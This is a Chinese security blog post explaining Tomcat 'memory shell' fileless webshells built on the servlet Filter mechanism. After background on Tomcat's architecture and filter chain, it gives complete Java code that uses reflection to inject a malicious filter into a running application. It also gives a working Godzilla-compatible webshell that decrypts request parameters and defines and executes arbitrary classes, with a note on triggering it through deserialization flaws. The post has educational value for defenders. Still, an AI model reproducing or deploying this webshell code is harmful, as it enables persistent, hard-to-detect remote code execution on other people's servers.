Tomcat_Filter内存马

admin 2023年6月2日23:41:18评论16 views字数 30148阅读100分29秒阅读模式
Tomcat_Filter内存马


0x01 内存马介绍

内存马,通过中间件特性注册为其组件的无文件webshell,其核心思路是访问路径映射和相关代码的动态注册。在tomcat中内存马主要有以下几种类型:

  1. 1. Servlet内存马

  2. 2. Filter内存马

  3. 3. Valve内存马

  4. 4. listener内存马

上述类型的内存马在tomcat7(支持Servlet API 3.0)以后可以通过动态注册方式向中间件注入,也因其可以动态注册的特点所以可以在反序列化等可任意执行代码的漏洞点进行利用。

0x02 Tomcat基础

Tomcat基本组件和关系

Tomcat_Filter内存马
Tomcat_Filter内存马
tomcat结构在server.xml中的体现

Tomcat是一种Web应用服务器,一个Servlet/JSP容器,Tomcat将以下几种组件作为基本构成:

  1. 1. Server:Tomcat实例中的顶级容器组件,由一个或多个Service组成。

  2. 2. Service:Connector和Container的集合,负责数据接收、处理和返回,由一个Container和一个(可以多个)Connector组成。

  3. 3. Connector:连接器,顾名思义作为外部数据到Container的连接管道,封装了底层通信协议处理方法,其作用是监听某一端口随时接收客户端连接请求,当请求到达时根据协议不同做分类处理后交由Container并将Container的返回结果做封装返回给客户端。

  4. 4. Container:封装和管理Servlet的容器,接收Connector传入数据做具体逻辑处理后将结果返回到Connector。

Tomcat_Filter内存马

Connector基本结构:Connector由多个protocolhandler(协议处理器)、Adapter(适配器)和Mapper(路由导航组件)组成,每个protocolhandler又由Endpoint、Processor组成。

  1. 1. Endpoint:通常与Connector相关联,用来处理底层Socket的网络连接。

    1. 1. Acceptor:连接接收器,用于接收客户端的连接请求并分配给对应的处理器进行处理。

    2. 2. Executor:线程池,用于任务处理。

  2. 2. Processor:Processor用于将Endpoint接收到的Socket封装成Request。

  3. 3. Mapper:客户端请求的路由导航组件,通过它能对一个完整的请求地址进行路由,通俗地说,就是它能通过请求地址找到对应的Servlet。

  4. 4. Adapter:Adapter用于将Request/Response进一步封装为ServletRequest/ServletResponse对象交给具体某个Engine进行具体的处理/返回给客户端。

Tomcat_Filter内存马

在tomcat中Container是一个抽象概念,用来表示一组组件的集合。Container由四个子容器组成,分别是Engine、Host、Context、Wrapper组成,它们之间是负责关系,存在包含关系。

  1. 1. Engine:引擎,用于管理多个虚拟主机(Host)的请求处理。

  2. 2. Host:虚拟主机,用于管理多个web应用程序(Context)的请求处理。

  3. 3. Context:Web 应用程序,是 Tomcat 中的最小部署单元,包含多个 Servlet 和 JSP 文件以及其他 Web 资源。

  4. 4. Wrapper:是Servlet 的容器,包含一个Servlet和多个Filter,用于将 Servlet 映射到对应的 Context 上。

Tomcat_Filter内存马

Tomcat的责任链设计模式:责任链模式是一种行为型设计模式,它允许将请求沿着处理链传递,直到有一个处理者能够处理请求为止。每个处理者都只关心自己能否处理请求,并且只有在需要时才将请求转发给下一个处理者。在 Tomcat 中,责任链设计模式用于处理请求和响应,通过将请求和响应传递给一系列的组件,最终生成响应并返回给客户端。这种设计模式被广泛应用于 Tomcat 中的各个组件,例如 Servlet 过滤器、Pipeline&Valve 等。

Tomcat中的管道-阀门模式:Tomcat的管道-阀门模式可以看作是责任链模式的一种实现。在Tomcat中,请求从Connector进入,经过多个阀门(Valve)处理,最终到达Servlet容器(Engine/Host/Context/Wrapper),完成请求处理。每个阀门都可以对请求进行处理,也可以选择放行,将请求传递给下一个阀门进行处理,这就是典型的责任链模式的实现。但是,Tomcat的管道-阀门模式在责任链模式的基础上,增加了对阀门的排序和管理,以及对请求和响应的处理。

Tomcat请求处理流程

如本文中第一张图片所示,Tomcat中请求处理的过程可以简单分为以下六步:

  1. 1. 用户发送请求:用户通过浏览器或其他客户端向Tomcat发送HTTP请求,请求特定的资源(例如,一个HTML页面、一个Servlet或一个JSP页面)。

  2. 2. 连接器接受请求:Tomcat中的连接器(Connector)接受客户端的请求,Connector是Tomcat中用于处理与客户端的连接和通信的组件。Connector负责在Tomcat和客户端之间建立网络连接,并处理HTTP请求和响应。

  3. 3. 协议处理器处理请求:接下来,Tomcat将接受的请求传递给适当的协议处理器(Protocol Handler)。Protocol Handler根据请求的协议类型进行选择,例如HTTP或HTTPS。

  4. 4. 请求在容器中处理:一旦协议处理器选择了正确的请求处理器(Request Processor),它将请求传递给容器(Container)进行处理。在Tomcat中,容器是一个组件层次结构,用于处理Web应用程序和Servlet。容器包括Engine、Host、Context和Wrapper。请求将从Engine开始,通过Host和Context,最终到达Wrapper。Wrapper是最终处理请求的组件,它会执行与请求相关联的Servlet。

  5. 5. Servlet处理请求:Servlet根据请求的类型进行处理,并生成相应的响应。Servlet可以从请求中获取参数、执行业务逻辑,然后生成HTML或其他响应内容。

  6. 6. 响应返回给容器:Servlet将响应返回给容器,容器将响应传递给适当的容器层次结构组件(Wrapper、Context、Host和Engine)。

  7. 7. 响应返回给协议处理器:响应最终被传递回协议处理器,然后通过连接器返回给客户端。

    0x03 Tomcat_Filter内存马

    Tomcat_Filter组件

Tomcat_Filter内存马

Filter是Wrapper的组件,即拦截器,如上图所示其主要负责在请求到达Servlet之前/Servlet处理之后对Request/Response进行判断、修饰等操作。Filter的注册有三种常见方式,web.xml配置中配置注册、注解方式注册和动态注册,通常使用前两种方式进行注册。 其组成部分如web.xml中的定义所示:

<filter>
  <filter-name>Myfilter</filter-name>
  <filter-class>com.zzservlet.MyFilter</filter-class>
</filter>
<filter-mapping>
  <filter-name>Myfilter</filter-name>
  <url-pattern>/hello</url-pattern>
</filter-mapping>
1.filter-name:filter的名称
2.filter-class:filter的实现类类名
3.filter-mapping:filterMap中的内容,包含filter-name和url-pattern,其中url-pattern是当前拦截器执行的url路径。

注册流程分析

注册过程演示

1.自定义Filter,实现Filter接口的三个基础方法。

1.init(FilterConfig config):初始化自定义Filter,config参数为自定义Filter的配置
2.doFilter(ServletRequest request, ServletResponse response, FilterChain chain):自定义Filter的逻辑处理部分,FilterChain-->拦截器责任链,存储当前web应用所有的Filter
3.destroy():销毁

2.在web.xml配置文件中注册定义Filter。

<filter>
  <filter-name>Myfilter</filter-name>
  <filter-class>com.zzservlet.MyFilter</filter-class>
</filter>
<filter-mapping>
  <filter-name>Myfilter</filter-name>
  <url-pattern>/hello</url-pattern>
</filter-mapping>

3.访问指定的URL,判定自定义的Filter是否被执行。

Tomcat_Filter内存马

代码流程分析

在分析之前先了解几个常用对象的定义:

filterConfig:存储filter配置的对象,由context(当前应用上下文)、filterDef和filter实例组成
filterDef:存储filter定义的对象,由filterClassName和filterName组成。
filterMap:存储filtername和filter URLPattern。
filterDefs:存储filterDef的hashmap
filterMaps:存储filterMap的hashmap
filterConfigs:存储filterConfig的hashmap

初始化

Tomcat中Filter的初始化过程主要分为三个步骤:配置解析、Filter对象的实例化、以及调用Filter的初始化方法。 配置解析 在Tomcat启动过程中,会解析Web应用的配置文件(如web.xml),找到所有配置的Filter。通过解析配置文件,Tomcat将Filter的全类名以及Filter的参数信息存储在一个FilterDef对象中,用于后续的实例化和初始化。 Filter对象的实例化 在Web应用启动时,Tomcat会对所有配置的Filter进行实例化。在实例化过程中,Tomcat通过反射机制创建Filter的实例对象,并调用Filter的默认构造函数进行初始化。此时Filter的成员变量均未初始化,仅具有默认值。 调用Filter的初始化方法 实例化后,Tomcat会调用Filter的初始化方法init(FilterConfig config)进行初始化。在初始化方法中,Filter可以读取配置文件中的参数,以及获得ServletContext对象,进行一些必要的初始化操作。在这一过程中,FilterConfig对象被创建,并传递给init方法。FilterConfig对象包含了Filter的配置信息和ServletContext对象。

ApplicationFilterConfig实例在StandardContext#filterStart方法中生成,此方法遍历filterDefs,当filterName不为空时生成其filterConfig并放入filterConfigs中。filterDefs是filterDef组成的HashMap,filterDef是存放filterName和filterClass名称的对象。

public boolean filterStart() {

        if (getLogger().isDebugEnabled())
            getLogger().debug("Starting filters");
        // Instantiate and record a FilterConfig for each defined filter
        boolean ok = true;
        synchronized (filterConfigs) {
            filterConfigs.clear();
            Iterator<String> names = filterDefs.keySet().iterator();
            while (names.hasNext()) {
                String name = names.next();
                if (getLogger().isDebugEnabled())
                    getLogger().debug(" Starting filter '" + name + "'");
                ApplicationFilterConfig filterConfig = null;
                try {
                    filterConfig = new ApplicationFilterConfig(this, filterDefs.get(name));
                    filterConfigs.put(name, filterConfig);
                } catch (Throwable t) {
                    ExceptionUtils.handleThrowable(t);
                    getLogger().error
                        (sm.getString("standardContext.filterStart", name), t);
                    ok = false;
                }
            }
        }

        return (ok);

    }
Tomcat_Filter内存马

自定义的filter执行init方法时传入FilterConfig,FilterConfig内保存有以下几个部分:filter,当前filter实例对象;filterDef,当前filter名称与类名;context,当前web应用程序上下文。

Tomcat_Filter内存马

执行阶段

FilterChain在StandardWrapperValve#invoke方法中调用ApplicationFilterFactory#createFilter方法生成。

Tomcat_Filter内存马

首先创建初始化一个空的filterChain--->获取当前应用程序的拦截器映射FilterMap filterMaps[] = context.findFilterMaps();,filterMap中存放着当前context中filter的URLpattern和filterName。-->遍历filterMaps,当前请求url与filterMap中的urlpattern匹配时通过context获取FilterConfig对象ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMaps[i].getFilterName());并添加至filterChain中filterChain.addFilter(filterConfig);

public ApplicationFilterChain createFilterChain
        (ServletRequest request, Wrapper wrapper, Servlet servlet) {

        // get the dispatcher type
        DispatcherType dispatcher = null; 
        if (request.getAttribute(DISPATCHER_TYPE_ATTR) != null) {
            dispatcher = (DispatcherType) request.getAttribute(DISPATCHER_TYPE_ATTR);
        }
        String requestPath = null;
        Object attribute = request.getAttribute(DISPATCHER_REQUEST_PATH_ATTR);
        
        if (attribute != null){
            requestPath = attribute.toString();
        }
        
        // If there is no servlet to execute, return null
        if (servlet == null)
            return (null);

        boolean comet = false;
        
        // Create and initialize a filter chain object
        ApplicationFilterChain filterChain = null;
        if (request instanceof Request) {
            Request req = (Request) request;
            comet = req.isComet();
            if (Globals.IS_SECURITY_ENABLED) {
                // Security: Do not recycle
                filterChain = new ApplicationFilterChain();
                if (comet) {
                    req.setFilterChain(filterChain);
                }
            } else {
                filterChain = (ApplicationFilterChain) req.getFilterChain();
                if (filterChain == null) {
                    filterChain = new ApplicationFilterChain();
                    req.setFilterChain(filterChain);
                }
            }
        } else {
            // Request dispatcher in use
            filterChain = new ApplicationFilterChain();
        }

        filterChain.setServlet(servlet);

        filterChain.setSupport
            (((StandardWrapper)wrapper).getInstanceSupport());

        // Acquire the filter mappings for this Context
        StandardContext context = (StandardContext) wrapper.getParent();
        FilterMap filterMaps[] = context.findFilterMaps();

        // If there are no filter mappings, we are done
        if ((filterMaps == null) || (filterMaps.length == 0))
            return (filterChain);

        // Acquire the information we will need to match filter mappings
        String servletName = wrapper.getName();

        // Add the relevant path-mapped filters to this filter chain
        for (int i = 0; i < filterMaps.length; i++) {
              //判断是否适配当前dispatcher
            if (!matchDispatcher(filterMaps[i] ,dispatcher)) {
                continue;
            }
              //判断是否适配当前请求URL
            if (!matchFiltersURL(filterMaps[i], requestPath))
                continue;
              //获取适配后的filterConfig实例
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
                context.findFilterConfig(filterMaps[i].getFilterName());
            if (filterConfig == null) {
                // FIXME - log configuration problem
                continue;
            }
            boolean isCometFilter = false;
            if (comet) {
                try {
                    isCometFilter = filterConfig.getFilter() instanceof CometFilter;
                } catch (Exception e) {
                    // Note: The try catch is there because getFilter has a lot of 
                    // declared exceptions. However, the filter is allocated much
                    // earlier
                }
                if (isCometFilter) {
                    filterChain.addFilter(filterConfig);
                }
            } else {
                  //添加至filterChain中
                filterChain.addFilter(filterConfig);
            }
        }

        // Add filters that match on servlet name second
        for (int i = 0; i < filterMaps.length; i++) {
            if (!matchDispatcher(filterMaps[i] ,dispatcher)) {
                continue;
            }
            if (!matchFiltersServlet(filterMaps[i], servletName))
                continue;
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
                context.findFilterConfig(filterMaps[i].getFilterName());
            if (filterConfig == null) {
                // FIXME - log configuration problem
                continue;
            }
            boolean isCometFilter = false;
            if (comet) {
                try {
                    isCometFilter = filterConfig.getFilter() instanceof CometFilter;
                } catch (Exception e) {
                    // Note: The try catch is there because getFilter has a lot of 
                    // declared exceptions. However, the filter is allocated much
                    // earlier
                }
                if (isCometFilter) {
                    filterChain.addFilter(filterConfig);
                }
            } else {
                filterChain.addFilter(filterConfig);
            }
        }

        // Return the completed filter chain
        return (filterChain);

    }

向filterchain中添加filterconfigfilterChain.addFilter(filterConfig),遍历filters是否存在要传入的filterConfig防止重复添加,当filters.length为0时新建长度为10的filters并添加传入的filterConfig

void addFilter(ApplicationFilterConfig filterConfig) {

        // Prevent the same filter being added multiple times
        for(ApplicationFilterConfig filter:filters)
            if(filter==filterConfig)
                return;

        if (n == filters.length) {
            ApplicationFilterConfig[] newFilters =
                new ApplicationFilterConfig[n + INCREMENT];
            System.arraycopy(filters, 0, newFilters, 0, n);
            filters = newFilters;
        }
        filters[n++] = filterConfig;

    }

至此filterChain封装完成,返回到StandardWrapperValve#invoke方法中执行filterChain.doFilter(request.getRequest(), response.getResponse());进入当前拦截器责任链的执行阶段。

public void doFilter(ServletRequest request, ServletResponse response)
        throws IOException, ServletException {

        if( Globals.IS_SECURITY_ENABLED ) {
            final ServletRequest req = request;
            final ServletResponse res = response;
            try {
                java.security.AccessController.doPrivileged(
                    new java.security.PrivilegedExceptionAction<Void>() {
                        @Override
                        public Void run() 
                            throws ServletException, IOException {
                            internalDoFilter(req,res);
                            return null;
                        }
                    }
                );
            } catch( PrivilegedActionException pe) {
                Exception e = pe.getException();
                if (e instanceof ServletException)
                    throw (ServletException) e;
                else if (e instanceof IOException)
                    throw (IOException) e;
                else if (e instanceof RuntimeException)
                    throw (RuntimeException) e;
                else
                    throw new ServletException(e.getMessage(), e);
            }
        } else {
            internalDoFilter(request,response);
        }
    }

在doFilter方法中会ApplicationFilterChain#internalDoFilter,通过filterConfig.getFilter()获取filter实例后依次调用filterChain中filter的doFilter方法完成执行。

Tomcat_Filter内存马

整个的执行过程总结如下:

  1. 1. StandardWrapperValve#invoke中调用ApplicationFilterFactory#createFilterChain方法,在createFilterChain中从当前context中取到filterMaps,遍历filterMaps根据适配情况从filterMap中取到filterName再据此filterName从context中取到对应的filterConfig。

  2. 2. ApplicationFilterFactory#createFilterChain中调用ApplicationFilterChain#addFilter,在addFilter方法中将传入的filterConfig装入filterChain。

  3. 3. 完成filterChain的封装后执行其doFilter方法,依次执行其中每个filter对象的doFilter方法。

Tomcat_Filter内存马

动态注册Tomcat_Filter

实现逻辑

流程分析前要用的那几个对象存储在StandardContext对象中。

Tomcat_Filter内存马

在Tomcat中,ServletContext是整个Web应用程序的基础接口,代表当前Web应用程序的上下文环境,提供访问Web应用程序配置信息和资源的方法。ApplicationContext是ServletContext的实现类,用于管理整个Web应用程序的生命周期和资源。而StandardContext则是ApplicationContext的具体实现类之一,用于表示一个Web应用程序的标准上下文实现。因此,它们三者之间是一种包含关系,即StandardContext是ApplicationContext的子类,ApplicationContext是ServletContext的子类。 根据其关系可通过如下方式获取StandardContext对象。

ServletContext servletContext = req.getServletContext();
Field f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) f.get(servletContext);
f = applicationContext.getClass().getDeclaredField("context");
f.setAccessible(true);
StandardContext standardContext = (StandardContext) f.get(applicationContext);

创建一个要注入的恶意类

Filter evalFiler = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {
                System.out.println("evalFilter init~");
            }

            @Override
            public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
                System.out.println("evalFilter doFilter~");
                response.getWriter().println("inject success!");
                chain.doFilter(request,response);
            }

            @Override
            public void destroy() {

            }
        };
String name =  "Hasaki";

首先初始化过程在filterStart方法中filterConfig = new ApplicationFilterConfig(this, filterDefs.get(name));动态创建时并不会调用filterStart方法但与其构造对应的filterConfig对象原理一样,使用创建其filterconfig对象用到了filterDefs那么应该首先创建恶意filter的filterDef并添加至当前应用的filterDefs中

FilterDef filterDef = new FilterDef();
filterDef.setFilter(evalFilter);
filterDef.setFilterName(name)
filterDef.serFilterClassName(evalFilter.getClass().getName());

//通过StandardContext中的addFilterDef方法将其加入filteDefs中
standardContext.addFilterDef(filterDef);

创建其FilterConfig实例并加入当前应用的filterConfigs中

//创建filterConfig实例并加入到filterConfigs中
//由于ApplicationFilter构造方法是protected非public只能通过反射进行创建
Constructor[] constructors = ApplicationFilterConfig.class.getDeclaredConstructors();
constructors[0].setAccessible(true);

ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructors[0].newInstance(new Object[]{standardContext, filterDef});

f = standardContext.getClass().getDeclaredField("filterConfigs");
f.setAccessible(true);
HashMap<String, ApplicationFilterConfig> filterConfigs = (HashMap<String, ApplicationFilterConfig>) f.get(standardContext);
filterConfigs.put(name, filterConfig); 

根据filterChain实例的创建过程需要把filterMap定义出来并加入filterMaps

//创建filterMap实例并加入到filterMaps中
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

//通过StandardContext的addFilterMapBefore方法将filterMap加入到filterMaps中的第一个位置
standardContext.addFilterMapBefore(filterMap);

至此在tomcat中动态注册自定义filter就完成了,完整代码如下:

package com.zzservlet;

import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.deploy.FilterDef;
import org.apache.catalina.deploy.FilterMap;
import org.apache.catalina.Context;


import javax.servlet.*;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;

public class HelloWorld extends HttpServlet {


    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        //创建恶意拦截器
        Filter evalFiler = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {
                System.out.println("evalFilter init~");
            }

            @Override
            public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
                System.out.println("evalFilter doFilter~");
                response.getWriter().println("inject success!");
                chain.doFilter(request,response);
            }

            @Override
            public void destroy() {

            }
        };



        try{
            String name = "Hasaki";
            ServletContext servletContext = req.getServletContext();
              //判断拦截器是否已经注册过了
            if (servletContext.getFilterRegistration(name) == null) {
                Field f = servletContext.getClass().getDeclaredField("context");
                f.setAccessible(true);
                ApplicationContext applicationContext = (ApplicationContext) f.get(servletContext);
                f = applicationContext.getClass().getDeclaredField("context");
                f.setAccessible(true);
                StandardContext standardContext = (StandardContext) f.get(applicationContext);


                //创建filterDef实例并加入到filterDefs中
                FilterDef filterDef = new FilterDef();
                filterDef.setFilter(evalFiler);
                filterDef.setFilterName(name);
                filterDef.setFilterClass(evalFiler.getClass().getName());

                standardContext.addFilterDef(filterDef);

                //创建filterConfig实例并加入到filterConfigs中
                Constructor[] constructors = ApplicationFilterConfig.class.getDeclaredConstructors();
                constructors[0].setAccessible(true);

                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructors[0].newInstance(new Object[]{standardContext, filterDef});

                f = standardContext.getClass().getDeclaredField("filterConfigs");
                f.setAccessible(true);
                HashMap<String, ApplicationFilterConfig> filterConfigs = (HashMap<String, ApplicationFilterConfig>) f.get(standardContext);
                filterConfigs.put(name, filterConfig);



                //创建filterMap实例并加入到filterMaps中
                FilterMap filterMap = new FilterMap();
                filterMap.addURLPattern("*");
                filterMap.setFilterName(name);
                filterMap.setDispatcher(DispatcherType.REQUEST.name());

                standardContext.addFilterMapBefore(filterMap);
            }



        }catch (Exception e){e.printStackTrace();}


    }
}

访问http://localhost:8080/hello后访问http://localhost:8080/出现自定义filter中doFilter方法中执行的打印内容。

Tomcat_Filter内存马

实现一个Godzilla内存马

代码中/hello2可替换成任意存在的URL路径或者设置"*"。

package com.utils;


import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.deploy.FilterDef;
import org.apache.catalina.deploy.FilterMap;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.util.HashMap;

public class MyGodzillaFilterShell extends ClassLoader implements Filter {


    private ServletContext servletContext;
    String Pwd = "pass";
    String xc = "3c6e0b8a9c15224a";
    String md5 = md5(this.Pwd + this.xc);
    public HttpServletRequest request = null;
    public HttpServletResponse response = null;
    public String cs = "UTF-8";



    public MyGodzillaFilterShell(){}

    public MyGodzillaFilterShell(ClassLoader z){super(z);}

    public Class Q(byte[] cb) {
        return defineClass(cb, 0, cb.length);
    }


    public StandardContext getStandardContext(){
        StandardContext standardContext = null;

        this.servletContext = request.getServletContext();
        try {
            Field f = this.servletContext.getClass().getDeclaredField("context");
            f.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) f.get(this.servletContext);
            f = applicationContext.getClass().getDeclaredField("context");
            f.setAccessible(true);
            standardContext = (StandardContext) f.get(applicationContext);

        }catch (Exception e){}
        return standardContext;
    }

    public String addFiter() {
        //通过request对象回去StandardContext实例对象
        StandardContext standardContext = getStandardContext();
        String filterName = "Aatrox";
        String res = null;


        //判断filterName是否已被注册过
        if (request.getServletContext().getFilterRegistration(filterName) == null){
            
            //注册过程
            try {
                FilterDef filterDef = new FilterDef();
                filterDef.setFilterClass(this.getClass().getName());
                filterDef.setFilter(this);
                filterDef.setFilterName(filterName);

                standardContext.addFilterDef(filterDef);

                Constructor[] constructors = ApplicationFilterConfig.class.getDeclaredConstructors();
                constructors[0].setAccessible(true);
                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructors[0].newInstance(new Object[]{standardContext,filterDef});

                Field f = standardContext.getClass().getDeclaredField("filterConfigs");
                f.setAccessible(true);
                HashMap<String,ApplicationFilterConfig> filterConfigs  = (HashMap<String, ApplicationFilterConfig>) f.get(standardContext);
                filterConfigs.put(filterName,filterConfig);

                FilterMap filterMap = new FilterMap();
                filterMap.addURLPattern("/hello2");
                filterMap.setFilterName(filterName);
                filterMap.setDispatcher(DispatcherType.REQUEST.name());

                standardContext.addFilterMapBefore(filterMap);

                res = "Success!";

            } catch (Exception e) {
                res = "Error!";
            }
        }else {
            res = "Filter already existed!";
        }
        return res;
    }


    public static String md5(String s) {
        String ret = null;

        try {
            MessageDigest m = MessageDigest.getInstance("MD5");
            m.update(s.getBytes(), 0, s.length());
            ret = (new BigInteger(1, m.digest())).toString(16).toUpperCase();
        } catch (Exception exception) {}

        return ret;
    }





    public static byte[] base64Decode(String bs) throws Exception {
        byte[] value = null;
        try {
            Class<?> base64 = Class.forName("java.util.Base64");
            Object decoder = base64.getMethod("getDecoder", null).invoke(base64, (Object[])null);
            value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });
        } catch (Exception e) {
            try {
                Class<?> base64 = Class.forName("sun.misc.BASE64Decoder");
                Object decoder = base64.newInstance();
                value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });
            } catch (Exception exception) {}
        }

        return value;
    }

    public static String base64Encode(byte[] bs) throws Exception {
        String value = null;
        try {
            Class<?> base64 = Class.forName("java.util.Base64");
            Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, (Object[])null);
            value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });
        } catch (Exception e) {
            try {
                Class<?> base64 = Class.forName("sun.misc.BASE64Encoder");
                Object Encoder = base64.newInstance();
                value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });
            } catch (Exception exception) {}
        }

        return value;
    }

    public byte[] x(byte[] s, boolean m) {
        try {
            Cipher c = Cipher.getInstance("AES");
            c.init(m ? 1 : 2, new SecretKeySpec(this.xc.getBytes(), "AES"));
            return c.doFinal(s);
        } catch (Exception e) {
            return null;
        }
    }


    public boolean equals(Object obj) {
        parseObj(obj);
        StringBuffer output = new StringBuffer();
       
        try {
            this.response.setContentType("text/html");
            this.request.setCharacterEncoding(this.cs);
            this.response.setCharacterEncoding(this.cs);
            output.append(addFiter());
        } catch (Exception e) {
            output.append("error:" + e.toString());
        }
        try {
            this.response.getWriter().print(output.toString());
            this.response.getWriter().flush();
            this.response.getWriter().close();
        } catch (Exception exception) {}

        return true;
    }


      //解析参数,传入的值必须是对象数组
    public void parseObj(Object obj) {
        Object[] data = (Object[])obj;
        this.request = (HttpServletRequest)data[0];
        this.response = (HttpServletResponse)data[1];
        
    }




    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException {
        //webshell实现部分,负责实现接收/返回数据解析、加解密等
        try {
            HttpServletRequest request = (HttpServletRequest)req;
            HttpServletResponse response = (HttpServletResponse)resp;

            HttpSession session = request.getSession();

            byte[] data = base64Decode(req.getParameter(this.Pwd));
            data = x(data, false);
            if (session.getAttribute("payload") == null) {
                session.setAttribute("payload", (new MyGodzillaFilterShell(getClass().getClassLoader())).Q(data));
            } else {
                request.setAttribute("parameters", data);
                ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
                Object f = ((Class)session.getAttribute("payload")).newInstance();
                f.equals(arrOut);
                f.equals(data);
                response.getWriter().write(this.md5.substring(0, 16));
                f.toString();
                response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
                response.getWriter().write(this.md5.substring(16));
            }
        } catch (Exception exception) {}
        //chain.doFilter(req,resp);

    }

    @Override
    public void destroy() {

    }
}

在之前编写的hello这个Servlet中尝试触发,这是在已知request对象的场景下,在未知场景下可结合前面反序列化回显进行利用。

package com.zzservlet;

import com.utils.MyGodzillaFilterShell;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.deploy.FilterDef;
import org.apache.catalina.deploy.FilterMap;
import org.apache.catalina.Context;


import javax.servlet.*;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;

public class HelloWorld extends HttpServlet {


    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

        Filter evalFilter = new MyGodzillaFilterShell();

        evalFilter.equals(new Object[]{req,resp});


    }
}

访问http://localhost:8080/hello

Tomcat_Filter内存马

使用godzilla连接http://localhost:8080/hello2

Tomcat_Filter内存马

0x04 参考链接

https://github.com/j1anFen/shiro_attack https://www.yuque.com/tianxiadamutou/zcfd4v/kd35na#de7894b8

往期推荐

敏感信息泄露

潮影在线免杀平台上线了

自动化渗透测试工具开发实践

【红蓝对抗】利用CS进行内网横向

一个Go版(更强大)的TideFinger

SRC资产导航监测平台Tsrc上线了

新潮信息-Tide安全团队2022年度总结

记一次实战攻防(打点-Edr-内网-横向-Vcenter)

Tomcat_Filter内存马

E

N

D


知识星球产品及服务

团队内部平台:潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......


星球分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享


星球知识wiki:红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......


星球网盘资料:安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......

扫码加入一起学习吧~

Tomcat_Filter内存马

Tomcat_Filter内存马

原文始发于微信公众号(Tide安全团队):Tomcat_Filter内存马

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月2日23:41:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Tomcat_Filter内存马http://cn-sec.com/archives/1782048.html

发表评论

匿名网友 填写信息